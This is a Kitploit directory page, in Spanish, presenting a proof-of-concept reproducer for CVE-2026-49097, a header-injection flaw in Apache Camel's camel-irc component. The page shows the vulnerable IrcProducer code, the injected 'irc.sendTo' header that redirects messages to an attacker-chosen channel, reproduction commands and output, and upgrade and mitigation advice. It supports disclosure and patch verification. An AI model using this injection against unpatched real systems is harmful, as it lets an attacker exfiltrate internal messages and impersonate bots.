Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-49097 — PoC reproductor para CVE-2026-49097 (Apache Camel camel-irc): la cabecera irc.sendTo sin prefijo Camel evade el filtro de cabeceras HTTP y sobrescribe el canal configurado del productor, redirigiendo un mensaje IRC a un destino elegido por el atacante. Corregido en 4.14.8/4.18.3/4.21.0. | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-49097
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHuboscerd/cve-2026-49097

CVE-2026-49097

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

PoC reproductor para CVE-2026-49097 (Apache Camel camel-irc): la cabecera irc.sendTo sin prefijo Camel evade el filtro de cabeceras HTTP y sobrescribe el canal configurado del productor, redirigiendo un mensaje IRC a un destino elegido por el atacante. Corregido en 4.14.8/4.18.3/4.21.0.

Compartir

camel-irc irc.sendTo Reproductor de Inyección de Cabeceras (CVE-2026-49097)

Este proyecto demuestra una inyección de cabeceras de mensaje en el componente camel-irc de Apache Camel, registrada como CVE-2026-49097. IrcProducer lee la cabecera irc.sendTo para elegir el destino del mensaje IRC saliente; cuando está presente, sobrescribe la lista de canales configurada en el endpoint:

root@kitploit:~
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // attacker-chosen destination
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // the intended, configured channel(s)
    }
}

La constante de cabecera IRC_SEND_TO tiene el valor simple irc.sendTo. Como no empieza con el prefijo Camel / camel, HttpHeaderFilterStrategy — que bloquea solo el espacio de nombres de cabeceras de Camel en el límite HTTP — permite que pase de una solicitud HTTP entrante directamente al Exchange.

En una ruta que conecta un consumidor HTTP (por ejemplo platform-http) con un productor irc:, cualquier cliente HTTP puede, por tanto, proporcionar irc.sendTo y redirigir el mensaje a un canal o nick IRC arbitrario, exfiltrando contenido destinado a un canal interno hacia un destino controlado por el atacante, o suplantando al bot en otro canal. Otras nueve constantes irc.* fueron renombradas en la misma corrección; irc.sendTo es la directamente explotable.

Este PoC demuestra el impacto como redirección de mensajes / divulgación de información (CWE-20 → CWE-74).

Aviso: https://camel.apache.org/security/CVE-2026-49097.html

Resumen de la vulnerabilidad

La corrección renombra las diez constantes de cabecera irc.* a la convención CamelIrc* (por ejemplo irc.sendTo → CamelIrcSendTo), de modo que se filtran en el límite HTTP como cualquier otra cabecera de control de Camel. Misma familia que CVE-2025-27636, CVE-2026-46454 y CVE-2026-48206. Nota: camel-irc está obsoleto a partir de 4.21.0.

Por qué no se necesita un servidor IRC

La vulnerabilidad está enteramente en la selección de destino de IrcProducer; el socket IRC es solo transporte. Este reproductor ejecuta el IrcProducer real y la clase IRCConnection real de irclib, subclasificada para que su send(...) (a través del cual pasan todos los comandos do* — incluido doPrivmsg —) registre el destino del PRIVMSG en lugar de escribir en un socket. Un pequeño componente irc personalizado entrega esa conexión de registro. No se contacta con ninguna red IRC.

La ruta víctima

root@kitploit:~
from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");

Un endpoint "notify" que reenvía a un canal interno fijo #alerts. No hay parámetro de destino en la API HTTP — el autor asume que el cliente no puede elegir el canal. El atacante establece irc.sendTo y el bot publica en un canal elegido por el atacante.

Estructura del repositorio

root@kitploit:~
CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # real IRCConnection subclass; records PRIVMSG targets, no socket
    │   ├── RecordingIrcComponent.java   # hands out the recording connection
    │   ├── IrcComponentConfig.java      # registers it under the 'irc' scheme
    │   ├── IrcRecorder.java             # captures the last delivered target + text
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # attacker: injects irc.sendTo=#exfil-channel
    └── resources/
        └── application.properties

Requisitos previos

  • Docker y Docker Compose
  • Java 17+ y Maven 3.8+

Pasos para reproducir

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Salida esperada

root@kitploit:~
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===

Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)

1) Legitimate POST /notify (no irc.sendTo header)
     IRC message delivered to: #alerts
     text: Revenue report Q3: $4.2M (internal distribution only)

2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
     IRC message delivered to: #exfil-channel
     text: Revenue report Q3: $4.2M (internal distribution only)

>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true

Corrección recomendada

Actualice a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). Después de actualizar, las rutas que establecen el destino IRC mediante una cabecera deben usar el nombre CamelIrcSendTo. Tenga en cuenta que camel-irc está obsoleto a partir de 4.21.0.

Mitigación

Hasta que se actualice, elimine las cabeceras de control de camel-irc de cualquier entrada no confiable antes del productor irc: (por ejemplo removeHeaders("irc.*")), y establezca el destino desde una fuente confiable.

Descargo de responsabilidad

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.

Descargar herramienta
PropiedadValor
Componentecamel-irc
Clase afectadaorg.apache.camel.component.irc.IrcProducer que lee IrcConstants.IRC_SEND_TO ("irc.sendTo")
CWECWE-20 (Validación de entrada incorrecta) / CWE-74 (Inyección)
ImpactoRedirigir un mensaje IRC saliente a un canal/nick elegido por el atacante (exfiltración, suplantación)
PrecondicionesUna ruta conecta un consumidor HTTP con un productor irc:; sin autenticación cuando el consumidor es
Versiones afectadasDesde 4.0.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0
Versiones corregidas4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23629 (PR apache/camel#23594)
CréditoYu Bao (PayPal)